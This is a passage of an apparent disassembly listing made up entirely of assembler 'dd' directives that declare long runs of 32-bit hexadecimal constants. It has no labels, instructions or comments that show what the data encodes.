		dd 2059FD24h, 430179CAh, 0D2E6826Fh, 0F6D4559Eh, 4DDA00A6h
		dd 0B3FA86A8h, 36071876h, 2893E37Fh, 1F905A83h,	408E65B0h
		dd 40A3DEBh, 460EFCF9h,	0E091B91Bh, 0C4766BF3h,	492402C2h
		dd 1B285F6h, 87BEC860h,	51684E01h, 704AAD91h, 0BFE05FF6h
		dd 0BF7D90B4h, 0A5135907h, 0D8D04BDFh, 0EB0E04h, 35691B56h
		dd 2209C787h, 88835A00h, 0DB57BD6Dh, 1B9E2A5h, 0CE8FB7A7h
		dd 70171266h, 1F00EDACh, 1EED940h, 0F89C3716h, 7D531829h
		dd 0CAB01008h, 0C100DAFEh, 8EC9882Bh, 9417BDE5h, 2067132Ch
		dd 0BBA192A8h, 502ED83Eh, 0FE01FA68h, 4846B760h, 45ECACE3h
		dd 8B7B3DAEh, 80F38616h, 6B09DD44h, 264A750Fh, 7503130Ch
		dd 0F23B81CBh, 80904052h, 0D48CA003h, 966A90E6h, 0F47300C0h
		dd 623546CFh, 991CBB0Dh, 42205086h, 29080033h, 8DEB561Bh
		dd 0A8A0F1BFh, 913C455Dh, 47F200BEh, 69FC0212h,	0CCE559A3h
		dd 7307605Dh, 0A17FA6B7h, 6059BA1Eh, 0A0262F13h, 451EE1DFh
		dd 60EB53C9h, 80DD66D0h, 7C0EB339h, 60F157B5h, 0FA4B590Bh
		dd 20750049h, 68DBEDAh,	281EEFFDh, 7E1F5121h, 53EE6EC0h
		dd 7B0D0960h, 4EFC007Ch, 0B3E115F3h, 0FB00F864h, 24205805h
		dd 0E6620F3Ch, 0B46E01E9h, 0B647AAE1h, 4EC8EFB8h, 4B00A0C9h
		dd 0E4A477AEh, 0DEA806h, 998C404Ah, 4C31049Eh, 73C4CF00h
		dd 32D0BA69h, 984F3B3Dh, 0FE10C300h, 0D4C9716Eh, 11C28800h
		dd 0C71B6DF1h, 21B661C6h, 0D002BFA1h, 0D7001326h, 659FC27h
		dd 92CF4h, 6EC928D5h, 0AFDF3F72h, 25B14507h, 0FEF33E83h
		dd 2AE29834h, 93051670h, 22FC048Dh, 8EED002Bh, 80976276h
		dd 103F33FAh, 0C6919D04h, 110036A6h, 0C4AF2105h, 21FE6031h
		dd 5C0AB06Dh, 0DC23E600h, 6D63714h, 2DFC024Eh, 0ED3C0FC2h
		dd 8B58987Ah, 6F0309FCh, 281C4816h, 37F636h, 0F06B2EC3h
		dd 722785Bh, 0E5B76707h, 0B9800A3Ch, 3A2E112Bh,	0A5930CD6h
		dd 0C1389021h, 5C0025EAh, 0DC8132E0h, 0C5CB49h,	20CAD1C2h
		dd 0EA6A4321h, 908F3824h, 7E034880h, 697A7h, 8B096CF5h
		dd 14E227E1h, 0B0DD200h, 7547E998h, 74BA2EC6h, 23730093h
		dd 2EAAE9Eh, 0AAD36A06h, 0D240CAh, 3C122BE1h, 9F1F723Fh
		dd 0E8FAE00h, 4C01648Dh, 0FBC4251Dh, 7F212C10h,	9798B600h
		dd 4CAE8662h, 4A8FA030h, 35CB00C3h, 0DE0F874Dh,	100FA0CDh
		dd 0AF461441h, 75C1FEE9h
		dd 0EDCC6E2Dh, 948B8DD4h, 478C63FCh, 3FDB71E8h,	94822110h
		dd 40D0DA2Eh, 0D81225F1h, 662E1075h, 0DE9AD801h, 6A46C021h
		dd 0C3C6007Ch, 0F6172BBBh, 0DC006E66h, 1C2E21CDh, 0F6285A8Dh
		dd 0E040EB34h, 12360F63h, 4850BEAh, 0DA0A6EF0h,	6AB40018h
		dd 0D248DC85h, 0DDE500C4h, 8A9F5F2Dh, 7C261971h, 0D7004C05h
		dd 9B96876Ah, 0D5500922h, 1CE09767h, 0AC3F83B5h, 6C5BA48Ah
		dd 5E41FB01h, 420CA3Eh,	0AE900009h, 0E14905E8h,	9F003271h
		dd 0A65D4BB3h, 0C48DB5h, 14F02460h, 0F235B7E6h,	87195400h
		dd 4BD192ADh, 98C0C0F7h, 0B253807Eh, 86BEAB1Ch,	54877D00h
		dd 18B0AAB5h, 217B0284h, 5D047A66h, 0FB30C392h,	989088h
		dd 0C4FA3ED8h, 0DB5E791Ch, 48BAB212h, 0AD7BC00h, 0FA3C5FC0h
		dd 662E150Dh, 7D9054h, 95CF7BCDh, 291CA915h, 0F2A5900h
		dd 79F53CD1h, 0FF9F0E6Eh, 0D90EFA52h, 60094B89h, 0BB5CB000h
		dd 4A0068DAh, 0FB1A193h, 76E5B4h, 0B0A36D38h, 331FBB12h
		dd 80A9DC00h, 0C27E2CA2h, 0A7E9007Ch, 4132A4FAh, 0CB007BCFh
		dd 0D70DB561h, 7C0B6E6h, 170469FFh, 6EACF065h, 9F000728h
		dd 36C105AFh, 1DB04383h, 41AA25C4h, 96C087D3h, 0CEF9C8A7h
		dd 0AEDC5600h, 0F0F50917h, 38580088h, 7326E87h,	19005195h
		dd 365ACB1Bh, 0D3F09Bh,	0A62E55A9h, 58E98F9Eh, 80C7B93Eh
		dd 0B7287337h, 0CC574h,	0F94A613Bh, 776C2E6Dh, 78201830h
		dd 7D12A5FEh, 0E75480Ch, 0E8DE607h, 780571h, 0A0DF4360h
		dd 0AC00E516h, 0DDCE98D8h, 1AB262h, 0A14D8220h,	63E8D70Ch
		dd 0A4EF2D00h, 416C0559h, 53E30030h, 0EC938DDh,	0D5E48B02h
		dd 546F4B00h, 6C554023h, 0EEA1F2B0h, 8F330029h,	9C447D30h
		dd 0D9008052h, 15477A8Dh, 0AC7E66h, 0CB84FBFh, 0D89F1431h
		dd 0F9B35D01h, 0B7B42AA9h, 264E60h, 6B415BF2h, 0AADBD6DFh
		dd 45DE631Eh, 0FFE3CE89h, 0C7FA4F80h, 53183B6h,	64D6502Bh
		dd 9CE9A0h, 0F0BF15C4h,	5DC66A23h, 8E99CD39h, 41BE1635h
		dd 5795C15Ch, 30B0EC20h, 0F5F05F1Ch, 0B700DF44h, 50061D2Eh
		dd 1D0D86ABh, 4020E976h, 0D58C1CAFh, 900002ACh,	0CDD1EB9Dh
		dd 5CD7F1B1h, 3E71A70Fh, 8700F6A8h, 6D18BEF2h, 0EF00663Bh
		dd 0BF898C85h, 5502825h, 0BCE6B30Dh, 748400D4h,	0ACE28335h
		dd 0A445E700h, 0E1823676h, 30B898AFh, 0E32170A6h, 0CA039AB6h
		dd 8CDF4569h, 390480A9h, 0D13A0062h, 380BB288h,	0B10058F8h
		dd 65D084BDh, 66806Ch, 76C3912Eh, 0B3264177h, 0A8824000h
		dd 0AC4D1F4h, 64850728h, 90F3A9DBh, 322567B7h, 80A6D338h
		dd 0E4207AC0h, 39D39DFh, 10A1D69Bh, 21B8625Ah, 9C01469Fh
		dd 6B1BAEFBh, 76D42F38h, 0F96E00FDh, 0AB01A39Dh, 7301A974h
		dd 1416D1D8h, 0EEECE9DCh, 0DBEC1447h, 921F80D6h, 0B05401Fh
		dd 8FBE6269h, 7A154301h, 0BBFEDE4Bh, 23AACCh, 587C0A2Dh
		dd 95E8F029h, 2BC2E906h, 0E3183A6h, 2A329F56h, 3EA9172Eh
		dd 0AE136300h, 3003CA0Eh, 0F3C93F73h, 0A53CE0F5h, 0E4F8A88Dh
		dd 0A6CB0069h, 3F85FD98h, 1939DD9Bh, 0B38280B8h, 0DC6731FCh
		dd 4C909Ch, 153BD993h, 1925ED97h, 291024Ch, 3873CF0h, 991048EAh
		dd 8FB200FAh, 332A225Fh, 1007EDBFh, 0C9F3839Bh,	80627992h
		dd 0B0350E7h, 0D595021Ah, 59AB4BC6h, 0DCD2BC80h, 1B0ACE8Ah
		dd 0F4DEC9F9h, 0AA830F00h, 88B1E4h, 9930C246h, 2709D336h
		dd 3D7CAE48h, 92007BBFh, 0CAE85A34h, 13121ECh, 0F665358Fh
		dd 0A623EEB8h, 5C0E0421h, 0AC220029h, 0FC42FFh,	247A2769h
		dd 0FA4FC2B2h, 35E04B04h, 80C0D98Dh, 90E97F40h,	0DF010010h
		dd 0F36520F7h, 0B373FC12h, 709E7100h, 0D70B1E5Bh, 0E459001Dh
		dd 5C111FB6h, 4203FE39h, 1AB42157h, 0C91CE06Ch,	47600117h
		dd 107C58D5h, 8D96DCDDh, 7CE1A03Bh, 0E3783F00h,	0D871072Bh
		dd 957418h, 37052C67h, 23BFF2A1h, 4F177D00h, 15C8DAFCh
		dd 2F0C1F72h, 0DC5BC05Ch, 0A897CC82h, 0BCF21C00h, 63556198h
		dd 0EDE70035h, 0B18D161Ah, 0C43C6C27h, 83868367h, 0C08C88A1h
		dd 4A00CD2h, 8BEEF8ABh,	0D6BB803Eh, 827127B3h, 0CD178600h
		dd 7E2072C0h, 75E688h, 7B5A2D34h, 0B3EEADE8h, 0E71A010Ch
		dd 424822h, 1CFDD790h, 0F2277D2Fh, 3A78B449h, 0C10775D9h
		dd 57376FF6h, 0DF49AC0h, 1220066h, 0DE02B7E0h, 1B006EAFh
		dd 444C89B8h, 95C060h, 418EBF21h, 923A6A3Eh, 91B0141Fh
		dd 3C6C40C0h, 4A90B98h,	0B36EE7F8h, 300C800Ah, 12F09C6Bh
		dd 0A0117F6Fh, 0AD37789Dh, 0A208263Bh, 0B53A809Ch, 627257BCh
		dd 0BA4C6403h, 0A7F23D63h, 0C270A4E7h, 782A9D68h, 7BE207BCh
		dd 0F3B4D792h, 0D9D68338h, 0F0AC1881h, 0B0000E36h, 63624ADFh
		dd 42E252h, 7DC3CA32h, 8D3FE833h, 44101CA2h, 9C00533Eh
		dd 75241082h, 1CD285DEh, 0FCFC1D79h, 58411E80h,	82BAC80Ch
		dd 0C8F6B92Ch, 86621200h, 3AA87173h, 9D803AC4h,	92512F4Ah
		dd 1E39BD03h, 0D6C9009Eh, 945DC56Dh, 0C4300087h, 0EF53B9C0h
		dd 0D2006BA2h, 0DE800B2Eh, 0B31CF9h, 65C97CA0h,	0A4561B26h
		dd 78F45500h, 99635EB6h, 328F58A1h, 0EC547500h,	4B3698BFh
		dd 805BE53Eh, 38AD9D3Ah, 0FB63E70h, 7BD27D74h, 0A0C8BC27h
		dd 7FA96E44h, 4B3B4Ch, 34CF3A3h, 3EA18EC5h, 4A004D46h
		dd 54BC3289h, 0FD3BFB01h, 5BB01FC1h, 0BE74E580h, 15D6524Fh
		dd 0A0BDB669h, 0F97C980Eh, 0C38A3300h, 9A663843h, 21A308h
		dd 0E2FA847Ah, 3ED4805h, 373C8E03h, 16B907DAh, 40C8D058h
		dd 576DA4C8h, 7C01FA1Ch, 0DDE53F83h, 4980BEEBh,	388856B8h
		dd 0CF0029B9h, 30C81476h, 80A5D3D2h, 873049C6h,	0DA321850h
		dd 5300F33Fh, 7FF286D6h, 0C110B56Fh, 91931116h,	0E142ECh
		dd 0E2FE7721h, 79EBCB9Dh, 7124B400h, 0F71CF2C8h, 74E00D0h
		dd 60D1594Ch, 0EA3E2DE1h, 0AC2080B2h, 0C51D7795h, 0B6FA00E4h
		dd 0A656EE3Dh, 7673F459h, 849A2300h, 0A5273496h, 0FBE00FB7h
		dd 25606752h, 4BB40A44h, 0C649CB00h, 9D10422Bh,	7BA00FAh
		dd 7BE68F59h, 0A9005E68h, 0EDC5461h, 0D7F29Ah, 0D89C571Fh
		dd 0F6D010Ch, 99881503h, 0A0F0E8B2h, 0D6175Bh, 6E761E46h
		dd 771B7F25h, 0DB085D66h, 4EB50F21h, 10A0E01Eh,	0F2CD8CD8h
		dd 0F5696101h, 0F61A434Ah, 0C0B7289Ch, 9209B6DAh, 90335F7Dh
		dd 7E8508A9h, 3A07221h,	0B003E961h, 1800176Dh, 56F094A7h
		dd 0F86E65Ch, 0FA04849Bh, 68248E40h, 34FEB6E0h,	0BD501C00h
		dd 67739C42h, 0C59903F5h, 5EB1A610h, 7F7B4900h,	0DBE44130h
		dd 0DC9A33C9h, 21007709h, 7830409Bh, 2D5801h, 3A140B0Ch
		dd 69422FCh, 15077E19h,	904217A9h, 1E4230AEh, 456E6211h
		dd 0B181D288h, 40891E4Ah, 0F85AD8h, 0FF5C77A8h,	8D64EC7Ch
		dd 1444B8C6h, 0E9C90061h, 948AE85Eh, 66C73118h,	8A6FE0A6h
		dd 4B91ACF5h, 0B5DA9880h, 448C9A09h, 0A700D1BFh, 14F730DAh
		dd 1087332h, 536F0C63h,	0EDE812F4h, 682C46D5h, 0D6D420h
		dd 4FB23632h, 730C9EADh, 3CE23003h, 0E00B3176h,	1E06C6Eh
		dd 5FA04C16h, 0CCF6558Fh, 0D800E81Dh, 28F51E0Eh, 0EC5A7Bh
		dd 4B7C2B80h, 0C2A4E57Ah, 0B78C4A00h, 70E4545Bh, 0EE23017Fh
		dd 0A33FE220h, 360BF060h, 6CB42400h, 3CAAA4BDh,	54163FE9h
		dd 866FA582h, 8401F94h,	0F0006741h, 0BD2907DDh,	1C9D5D33h
		dd 0B88654h, 8C149FE9h,	0EB290AE7h, 0C16F0483h,	8D99FB27h
		dd 4A941180h
		dd 0DD308C11h, 9218703h, 0C8195EC5h, 19E016Ah, 37F0BE20h
		dd 0EC36E78Eh, 7F2E883Ch, 618332Bh, 7855E58h, 4338B9Dh
		dd 587B0090h, 0E40E8E31h, 0E33B47D7h, 18ABC6Ch,	0CCDFEB20h
		dd 4E1B4E5Ah, 21883B20h, 70FE9C32h, 9385ABC1h, 0B103BF79h
		dd 78A166A0h, 0EB10B00Bh, 7FF303Dh, 4241EA29h, 68818200h
		dd 0D889DBAFh, 0C013E8A8h, 42494421h, 811E9341h, 1A95D44Ah
		dd 1742749Ch, 0E973287Ch, 287F0A98h, 78CA86Dh, 8322090Dh
		dd 90E07966h, 18C0DD68h, 0E2F4581Ah, 0DB0E89Eh,	365B96E4h
		dd 32A09171h, 81424E83h, 8433408Ah, 0E820474Dh,	500109C7h
		dd 9492AB65h, 7960055Ah, 96260CDDh, 5EA9B3A0h, 0A3287514h
		dd 671603A0h, 11AA86D4h, 97FCD1h, 9324CC68h, 155F3ADh
		dd 7E3EFB52h, 0D9A40B16h, 0CAA9E42Ah, 31FFFD30h, 0A245A0h
		dd 4BE26067h, 1B0579B8h, 0C650200h, 982E064Ah, 9C100FCh
		dd 643EB716h, 0A44841AAh, 0E600510h, 81FF4737h,	20F7AE0Ah
		dd 24009C20h, 0B0B14564h, 0C19537Ch, 0C974515Dh, 2D00F4C9h
		dd 0F02B1352h, 6D4A7Dh,	3775509Ch, 5831801h, 0C4EBD00h
		dd 0C9C7E6ABh, 1A170F61h, 2922F61Fh, 0D0AEC691h, 3FBCB222h
		dd 0B498B960h, 35B7E3Eh, 0E35AE7EAh, 0A3E10082h, 144CC78Fh
		dd 1F33E69Bh, 85090Dh, 0C794C321h, 0CC812537h, 8C361A33h
		dd 0B403DDACh, 9606089Ch, 812D04D8h, 8284B3EBh,	6B23FDACh
		dd 57D900D7h, 0B5C0F7BEh, 77774EB3h, 0AA2ADC00h, 88822C64h
		dd 0AF6B048Eh, 0C70662F6h, 3A45E789h, 998103F4h, 0D807D168h
		dd 22597926h, 0AD851DB0h, 4E88C093h, 75E52DEBh,	0F5661500h
		dd 9095CABFh, 0C0C8F21Ah, 4C6D3581h, 0C3005CD6h, 730E2248h
		dd 0F3EFAh, 0E28F9326h,	2A67A44Ah, 7884FD37h, 4066E05Ch
		dd 22F7D40Dh, 76E07C90h, 8618E465h, 5D97B060h, 0C609204h
		dd 0B679087Fh, 174867B8h, 8C0EE880h, 10BA2B01h,	5E40DFEh
		dd 58958CD9h, 1101F4C9h, 37B5155Ah, 386091DDh, 52424087h
		dd 0D317081h, 42484510h, 90B1EE00h, 7A86A6DAh, 0EF8831C6h
		dd 0DC16F8h, 57DEA71h, 5595E466h, 0A8B802B6h, 6063A6D5h
		dd 0BAB5378Fh, 59091898h, 503499C3h, 0C488A0C2h, 793C91E9h
		dd 903618F8h, 3E574658h, 14470880h, 40FFC483h, 10C789C2h
		dd 12D57CB5h, 42DD1712h, 7075B000h, 7896C068h, 0E0E39A30h
		dd 60218550h, 837D188Ch, 1F60A288h, 183B8BB9h, 0C79C034Fh
		dd 0CF6406B8h, 21B30830h, 721833DEh, 0F55B2E39h, 46191EF7h
		dd 912278BCh, 0D4508301h, 5AE209Fh, 0F0FB2064h,	468CA6DCh
		dd 0C7850254h, 316B1442h, 8ACD10FEh, 18BA07C7h,	0A0CF7004h
		dd 308B415Ah, 12D90091h, 0DC094018h, 82C806D7h,	3DA31F0h
		dd 5078070Bh, 424D048Ch, 6248818Eh, 0D5382014h,	5B019742h
		dd 0FDE32623h, 7C60D29Ah, 96F944F0h, 0B00C5A2Ah, 0DD15899h
		dd 7B009E18h, 97140E82h, 227F564h, 0D0C7940h, 4841D61Fh
		dd 0FC5411F1h, 209CAFDAh, 3A91B52Ch, 93BC004Bh,	5EBBFF61h
		dd 6824D8E5h, 8C250CB1h, 35309Dh, 6C221AF2h, 9C90973Ch
		dd 31876300h, 8CD9280Ch, 0A68F02C3h, 0AAA07C92h, 0C8229DC3h
		dd 9FDE0E04h, 0BAA237E2h, 3CE45C97h, 0C414C02h,	4005E6DBh
		dd 3212E918h, 0FE21D016h, 0DC642080h, 0CDF7A648h, 4483366h
		dd 0CB8090E1h, 7CE0FC89h, 167FF836h, 0F1766F4h,	6DE25C60h
		dd 0B880901Ch, 8AD432DBh, 7CE65Dh, 8185394Eh, 67FEA818h
		dd 0D0B771FBh, 0B92E731Dh, 5E8F6400h, 0C0E987A7h, 52D3069Ch
		dd 50AC847Dh, 1C1DB480h, 5004FF77h, 0BB979DB7h,	15886CCEh
		dd 4005C5C2h, 0FC49F698h, 0A14A180Ah, 7D4CE88Fh, 1A60FEEAh
		dd 1C900F31h, 0EAFA002Eh, 0F1C2E3D8h, 0DF00B538h, 22751403h
		dd 1FCEB7h, 0E425792Ah,	0BB9F6582h, 5449DE00h, 0C108E787h
		dd 1AC49AC8h, 6882C52Ah, 0F11709Dh, 577BB80h, 2E016B69h
		dd 7D5E99F1h, 0EA009788h, 94F05FB3h, 8348E4Dh, 50C1A20h
		dd 5FE57FD4h, 0D9B200C4h, 66EEA72Bh, 0AB04C318h, 809DB048h
		dd 0EF484E64h, 8F08880Ch, 15E018A4h, 0D1BC1A36h, 80D03C3Bh
		dd 6D64082Dh, 9856BB87h, 8BE62456h, 212A0064h, 60F32393h
		dd 4125A8B0h, 397021B6h, 810576AAh, 128DDF94h, 4117208Eh
		dd 9600CC7Fh, 4E9F9C74h, 1C2124BFh, 8EC303CAh, 7FE171B6h
		dd 8119FFE3h, 38982AA1h, 44E89DCDh, 6BF46Dh, 50020D53h
		dd 0FC19D955h, 0DAEB69C1h, 1C20738Bh, 964F0711h, 10C387BDh
		dd 44368688h, 95299C98h, 802A48Dh, 0C02FF582h, 2ADB0A48h
		dd 90D86Bh, 0C45E52C7h,	88BF465Fh, 8456633h, 0A72100CDh
		dd 60ED5E5Ah, 51769605h, 0B174302h, 8112AD4Ah, 0EC987F88h
		dd 22589711h, 38D458C4h, 9C29805Dh, 4387DCCEh, 16FF30B4h
		dd 61AD6721h, 4B647D1Eh, 2FACA280h, 0B9C6D1h, 9ABFEE72h
		dd 81A071FFh, 0B2152112h, 1C3A4000h, 75E3B103h,	21A1874h
		dd 0FF87A9D5h, 0C36155E0h, 915A9328h, 295424h, 24D8CF42h
		dd 1E7EE7Ch, 0D6F90813h, 515AD440h, 26DD18A8h, 80601DA2h
		dd 752CF691h, 0D301E938h, 221448B5h, 0B024BFD9h, 0B20912BCh
		dd 884C11FAh, 4823B44Ch, 4EC78101h, 0FB188B14h,	96C188h
		dd 0CBD4CAC7h, 0ABD99F80h, 79BE2A1Ch, 0FE58F598h, 0EE94A802h
		dd 9CD1F4Fh, 0FCFF0A49h, 303811B8h, 95038065h, 8D61344Ah
		dd 833981A0h, 1C46696h,	9C5119C5h, 8D0CBBD7h, 803BA489h
		dd 0EEFBBA8Bh, 6CB5070Fh, 2361E95Eh, 2C723520h,	97448C56h
		dd 0EE1820FCh, 78007EB8h, 4EC89010h, 7D01A4h, 0B02850EDh
		dd 3F379A79h, 8733F207h, 5ED03668h, 2EEBFFEh, 18EBB950h
		dd 0A4A2EAC6h, 0BC68AC75h, 61C98FE3h, 0ED804083h, 0F7B53F21h
		dd 0FB7F7D8Fh, 3850A8D5h, 0D7A28911h, 0C900D179h, 6E5BF63Eh
		dd 0BCEAE6h, 619BC3BAh,	4980E225h, 7F146298h, 102414EBh
		dd 1988FC5Fh, 0FBEACE81h, 0B08414CBh, 823B4ED3h, 4B3072A0h
		dd 465FE65Eh, 0C0222Eh,	0CF5E539Ch, 4A4E5BE6h, 1701AE00h
		dd 0E215ED0Dh, 0FBBC12DDh, 21EC2797h, 4116E92Ah, 0A829ABE4h
		dd 970154AAh, 0B3EBD42Ch, 90EE0A7Eh, 115E4C40h,	88365FC6h
		dd 549D81C1h, 0C160F85Eh, 0E0F3C0F1h, 0B01BE82Eh, 9F407561h
		dd 4C04FC2Ch, 4EA086D5h, 88EC4C79h, 15DD4095h, 8D695218h
		dd 416509A1h, 88804ED0h, 1190C080h, 0A976E8D6h,	2F697819h
		dd 43CDA8E8h, 4A3475E8h, 0B23844FDh, 88041615h,	0D8448598h
		dd 0B5C8C0DEh, 6B805ED1h, 0EDCB011h, 0B12CCA50h, 5A1470D8h
		dd 0B8170933h, 394B807Dh, 168B05Ch, 2734F08h, 801DE122h
		dd 0FE6F0A20h, 0A7535797h, 44F00820h, 5D0BDCC8h, 3C8C11B4h
		dd 420B4C18h, 1CD0818Fh, 0D44906E8h, 0F8BCB642h, 1848F081h
		dd 0C15E084Dh, 0CAC41E5Fh, 5E559A40h, 6007D5AFh, 4A151A4Eh
		dd 2FDD1432h, 8C9995C2h, 0E60FE60Fh, 7FE30019h,	0A452112Bh
		dd 809418A2h, 0E164674h, 0D69624DCh, 0B710DC06h, 0D1409168h
		dd 3DF1886h, 779A2D2Ah,	7FD3CAA5h, 0DD1D83h, 58F10CECh
		dd 0DA5D0942h, 254B1608h, 9FFCF048h, 720780D2h,	655C94E9h
		dd 5174000h, 4F55EEB6h,	0A3B9145Ah, 0E7808C30h,	2A66F57Fh
		dd 94017D4Eh, 452C2624h, 104C6C26h, 0EC813914h,	454A6682h
		dd 0A0812850h, 0F846E86Bh, 0BAD25E00h, 654F09Ah, 0D7490007h
		dd 5D928A44h, 95F47820h, 36DC3200h, 75D6B73Bh, 7D27006Bh
		dd 0F3FB60F0h, 79009B01h
		dd 4B8B2EA0h, 0EE30E40h, 5751B371h, 0F3965241h,	5DD8CB7Eh
		dd 0F0000102h, 0BFF9673Ch, 3F75E956h, 0E51D472Bh, 0DA10C3A6h
		dd 6BB03EFAh, 1403872Ah, 484096E1h, 0D71BC824h,	5E2E00B2h
		dd 98AF4DA2h, 1C00FFF1h, 0C5092030h, 71968B70h,	7B8D00CAh
		dd 0BF79E822h, 0FA0E0E65h, 40AD99FFh, 9233C0E9h, 0E38DFF8h
		dd 7F205B41h, 0A4C29022h, 3F698700h, 219D7C6Fh,	0F3C600CEh
		dd 266C6DB9h, 780EF4DCh, 60C0BA2Bh, 85BC5951h, 18DD60BEh
		dd 0CE910623h, 9B3B9500h, 0D68392A9h, 0FCA80133h, 0C7078879h
		dd 0D094C1EBh, 183E77AFh, 601D0028h, 9D3B904Dh,	78330071h
		dd 4A51E507h, 1E1DD61Fh, 79C02565h, 9E5982A2h, 0C04300E3h
		dd 4C377809h, 1C0E866Ch, 80DF753Bh, 0A765DB8Bh,	0BCDC036Fh
		dd 9B0602FFh, 3EB066E8h, 0E1C45F1Fh, 0FD6C7F07h, 0ABC520C0h
		dd 2974D7h, 18DA969Ah, 0EFFCA1Bh, 8031360Ch, 0C0370816h
		dd 1B106D21h, 6180DE8h,	57503C21h, 0CF070314h, 0A4269BFEh
		dd 9E852838h, 0C9D88CE1h, 2E563918h, 31D5EE49h,	0D4C57A20h
		dd 2D186B0Fh, 3A10955Bh, 1DED01CDh, 0C9E6F1E1h,	58099819h
		dd 35FDA21h, 9FAAB4EEh,	0E914371h, 141F07Bh, 3D9A08C1h
		dd 2604E7Fh, 4723008Bh,	79C776D9h, 0D7032E59h, 351FEC91h
		dd 0C3FCB8EAh, 2C1A0082h, 9C2609F3h, 1978633Bh,	0E4E1A506h
		dd 18B8D71Eh, 0B1884A71h, 432814E3h, 271C9C62h,	9CC69AABh
		dd 383917h, 0D5DA5A48h,	0EA15CC4Ah, 0B460E00h, 6390046Ch
		dd 90507020h, 2DF7512h,	0BE2DD126h, 888D096h, 0DE18D604h
		dd 0EF106329h, 3BCF7ECBh, 220F250Fh, 16800C45h,	24C9E75Ch
		dd 950B1B03h, 0A3A42810h, 0E03BC3D8h, 0EE277h, 51A93708h
		dd 0B9416F5Bh, 70443503h, 88E72120h, 0BEED6Bh, 6E1B739Fh
		dd 0EB86B205h, 0A007927Bh, 7A7FFD83h, 0C3A584F0h, 61390006h
		dd 0AA7E5D4Bh, 46782C34h, 0A6834500h, 0FB89EF51h, 60707C8Ch
		dd 98674010h, 260FCAC0h, 60371D27h, 0AFF6D95Bh,	8D5300C1h
		dd 90F51214h, 0F800E91Ah, 8F3DDEAAh, 7483BA36h,	0D778AEh
		dd 0F5992F84h, 0FDB52FCh, 1FE25403h, 9056E8B5h,	0C451931h
		dd 0C8A73A22h, 0DB00ABA8h, 0D37EAE93h, 84A18h, 0EE0ADFFEh
		dd 1C873625h, 3F6E3A07h, 780E6A2h, 0AA1EBEh, 38D67CC8h
		dd 98598AF1h, 5EB281Dh,	4A6F6980h, 1E929E9Ch, 0C07F3A6Ch
		dd 2331B666h, 0F103124Fh, 86FECADAh, 78BEA115h,	0EB3F288Ah
		dd 0AFCC80E4h, 71298467h, 3100897Eh, 626385FBh,	3F309Fh
		dd 0FA25F982h, 0E6B69160h, 0EED0AB04h, 0B7C3522Ah, 2C200032h
		dd 0A6B225E7h, 10002B97h, 733DC08Eh, 686C9387h,	0C8685Fh
		dd 72A6FC7Fh, 7505032Dh, 402FF6A8h, 7A45AC00h, 2A903Eh
		dd 0F0BA38D7h, 0E36BCF97h, 0FB297B16h, 0D5DE06FFh, 2300703Ch
		dd 0CB779DE8h, 0B074CF8h, 404D1B58h, 0E167E580h, 0BE5CB3FCh
		dd 0A0D800ABh, 703DC3EDh, 369C3E42h, 4028769Dh,	0E9B1B93Eh
		dd 180C93D2h, 80642737h, 184F84Bh, 0A5E86D44h, 80920EA2h
		dd 0BFA9E220h, 0F78746h, 36072999h, 11D9CBECh, 0C3219B03h
		dd 3EFFC1h, 0E853ACA0h,	2943640Ch, 65BA2F03h, 90FFB08Dh
		dd 3EBCBC3h, 9F1ECE1Fh,	613D5B70h, 1A7F809Ch, 7EF0B9ACh
		dd 0D3521D8Ch, 12C240FCh, 832A6D98h, 28B67B30h,	0C53FF2h
		dd 0C766783Dh, 0CB580F61h, 7DCC2C48h, 0F653CC02h, 0C0379511h
		dd 6CF153h, 85279241h, 29A479D7h, 0B50019E4h, 1F9B5062h
		dd 962B7Dh, 0D66AC691h,	0A781FD1Bh, 833870Fh, 0F58C40F4h
		dd 21E07C8h, 35F715B2h,	0E880A767h, 32D75D21h, 27286200h
		dd 0CE41E3BCh, 4D699847h, 0EA03145Fh, 0EC16BEA9h, 2931F803h
		dd 0A81351E8h, 15C540E4h, 0BC3E8706h, 80FBC05h,	93DC4017h
		dd 0D629A1A4h, 0EA549F03h, 0AAB58A92h, 61D140BCh, 0BDFD0316h
		dd 0A966AA11h, 7D509112h, 57031443h, 202BE0D2h,	0D37B137Ah
		dd 804FA91h, 94878850h,	78501049h, 65DC1509h, 4301C887h
		dd 1A163FB8h, 0F736604Dh, 0DFAA0C01h, 32A81270h, 7A436180h
		dd 0BC4AAC48h, 2BC4EF13h, 8170881Ch, 25C102h, 0CD8BC3E5h
		dd 33C5D6CCh, 0E5EC600h, 371F35F2h, 3769847h, 0A9EBE382h
		dd 0E2E94957h, 0B8FB4092h, 0B7E63BC9h, 430EE900h, 9730EE64h
		dd 0BC2B24F4h, 0FE5C029Ch, 0EF407A3Bh, 7E07EDB0h, 0BDB8A6E9h
		dd 2D5AF1C0h, 66556372h, 2000A864h, 856AD2EFh, 0F2527034h
		dd 1B3D00ACh, 7904EA10h, 750080AAh, 0A7A0DDFAh,	287BBDBh
		dd 7691232Fh, 43E09C6Ah, 8200571Fh, 0D8374C38h,	399D05h
		dd 1494E7CCh, 229F6F61h, 85252700h, 471D2330h, 96620EFDh
		dd 1F20D784h, 1EA5E952h, 0E8A21200h, 0AC9C582h,	649A6Dh
		dd 22442E4Fh, 908A397Dh, 831251CBh, 0BD675E6h, 0DB02DC40h
		dd 0BB234C8Fh, 0C2B80DE0h, 0D90457B1h, 0D5E3ABA4h, 0EEBA3C80h
		dd 5AF500A1h, 20D3CAE2h, 0D903FB81h, 0ACB07E9Bh, 3FD0D0F6h
		dd 2AD40079h, 0DB5B8EAEh, 3A07A45Eh, 0F349EF5h,	0D8FB0900h
		dd 58C4B098h, 0AD00E74Ch, 5F44321h, 45006F71h, 7FA4C148h
		dd 3A2B40Fh, 51170927h,	0F1B82B19h, 0E34CB7D7h,	2CF30058h
		dd 0B2EDE8C8h, 0C93A0014h, 96ABB368h, 0FA1E262Ah, 3F40AFD4h
		dd 89940758h, 4F881F05h, 0BC8E099Fh, 153AD8A0h,	601DEEFAh
		dd 94A46B03h, 0B5C2D69Eh, 6023BEA1h, 0C24B768h,	9A365AF4h
		dd 0BB03B911h, 78A1FE0Fh, 0C0CDDAD8h, 26497Ch, 0D0798C17h
		dd 5B83DD37h, 0DA842E00h, 0C2C4E343h, 0B60C00Ch, 26CCF2EAh
		dd 3462A30Ch, 7263F2F7h, 0AC9217E7h, 0F2084A1Dh, 686867B0h
		dd 8073530Bh, 83EB0304h, 242E70ABh, 15F4FDBh, 319E6568h
